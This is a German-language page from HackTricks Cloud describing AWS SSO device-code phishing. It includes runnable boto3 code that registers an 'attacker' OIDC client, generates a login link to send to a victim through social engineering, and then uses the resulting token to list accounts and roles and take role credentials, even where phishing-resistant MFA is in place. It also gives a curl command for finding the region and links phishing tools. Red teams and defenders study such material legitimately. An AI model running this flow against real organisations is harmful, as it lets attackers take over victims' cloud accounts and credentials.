AWS - Identity Center & SSO Unauthenticated Enum
Reading time: 5 minutes
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
AWS Device Code Phishing
Ursprünglich vorgeschlagen in diesem Blogbeitrag, ist es möglich, einen Link an einen Benutzer zu senden, der AWS SSO verwendet, und wenn der Benutzer akzeptiert, kann der Angreifer ein Token erhalten, um den Benutzer zu impersonieren und auf alle Rollen zuzugreifen, auf die der Benutzer im Identity Center zugreifen kann.
Um diesen Angriff durchzuführen, sind die Voraussetzungen:
- Das Opfer muss Identity Center verwenden
- Der Angreifer muss die Subdomain kennen, die vom Opfer verwendet wird
<victimsub>.awsapps.com/start
Nur mit den vorherigen Informationen kann der Angreifer einen Link an den Benutzer senden, der, wenn er akzeptiert wird, dem Angreifer Zugriff auf das AWS-Benutzerkonto gewährt.
Angriff
- Finden der Subdomain
Der erste Schritt des Angreifers besteht darin, die Subdomain herauszufinden, die das Opferunternehmen in ihrem Identity Center verwendet. Dies kann über OSINT oder Raten + BF erfolgen, da die meisten Unternehmen hier ihren Namen oder eine Variation ihres Namens verwenden werden.
Mit diesen Informationen ist es möglich, die Region zu ermitteln, in der das Identity Center konfiguriert wurde:
curl https://victim.awsapps.com/start/ -s | grep -Eo '"region":"[a-z0-9\-]+"'
"region":"us-east-1
- Generiere den Link für das Opfer & sende ihn
Führe den folgenden Code aus, um einen AWS SSO-Login-Link zu generieren, damit das Opfer sich authentifizieren kann.
Für die Demo führe diesen Code in einer Python-Konsole aus und verlasse sie nicht, da du später einige Objekte benötigst, um das Token zu erhalten:
import boto3
REGION = 'us-east-1' # CHANGE THIS
AWS_SSO_START_URL = 'https://victim.awsapps.com/start' # CHANGE THIS
sso_oidc = boto3.client('sso-oidc', region_name=REGION)
client = sso_oidc.register_client(
clientName = 'attacker',
clientType = 'public'
)
client_id = client.get('clientId')
client_secret = client.get('clientSecret')
authz = sso_oidc.start_device_authorization(
clientId=client_id,
clientSecret=client_secret,
startUrl=AWS_SSO_START_URL
)
url = authz.get('verificationUriComplete')
deviceCode = authz.get('deviceCode')
print("Give this URL to the victim: " + url)
Sende den generierten Link an das Opfer mit deinen großartigen Social-Engineering-Fähigkeiten!
- Warte, bis das Opfer es akzeptiert
Wenn das Opfer bereits bei AWS angemeldet war, muss es nur die Berechtigungen akzeptieren. Wenn nicht, muss es sich anmelden und dann die Berechtigungen akzeptieren.
So sieht die Aufforderung heutzutage aus:
.png)
- Erhalte SSO-Zugriffstoken
Wenn das Opfer die Aufforderung akzeptiert hat, führe diesen Code aus, um ein SSO-Token zu generieren, das den Benutzer impersoniert:
token_response = sso_oidc.create_token(
clientId=client_id,
clientSecret=client_secret,
grantType="urn:ietf:params:oauth:grant-type:device_code",
deviceCode=deviceCode
)
sso_token = token_response.get('accessToken')
Das SSO-Zugriffstoken ist 8 Stunden gültig.
- Benutzer impersonieren
sso_client = boto3.client('sso', region_name=REGION)
# List accounts where the user has access
aws_accounts_response = sso_client.list_accounts(
accessToken=sso_token,
maxResults=100
)
aws_accounts_response.get('accountList', [])
# Get roles inside an account
roles_response = sso_client.list_account_roles(
accessToken=sso_token,
accountId=<account_id>
)
roles_response.get('roleList', [])
# Get credentials over a role
sts_creds = sso_client.get_role_credentials(
accessToken=sso_token,
roleName=<role_name>,
accountId=<account_id>
)
sts_creds.get('roleCredentials')
Phishing des unphishbaren MFA
Es ist interessant zu wissen, dass der vorherige Angriff auch funktioniert, wenn ein "unphishbarer MFA" (webAuth) verwendet wird. Das liegt daran, dass der vorherige Workflow niemals die verwendete OAuth-Domain verlässt. Anders als bei anderen Phishing-Angriffen, bei denen der Benutzer die Anmeldedomain ersetzen muss, ist im Fall des Gerätecode-Workflows vorgesehen, dass ein Code von einem Gerät bekannt ist und der Benutzer sich sogar an einem anderen Gerät anmelden kann. Wenn die Eingabeaufforderung akzeptiert wird, kann das Gerät, nur durch Kenntnis des ursprünglichen Codes, Anmeldeinformationen für den Benutzer abrufen.
Für weitere Informationen dazu prüfen Sie diesen Beitrag.
Automatische Werkzeuge
- https://github.com/christophetd/aws-sso-device-code-authentication
- https://github.com/sebastian-mora/awsssome_phish
Referenzen
- https://blog.christophetd.fr/phishing-for-aws-credentials-via-aws-sso-device-code-authentication/
- https://ruse.tech/blogs/aws-sso-phishing
- https://mjg59.dreamwidth.org/62175.html
- https://ramimac.me/aws-device-auth
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.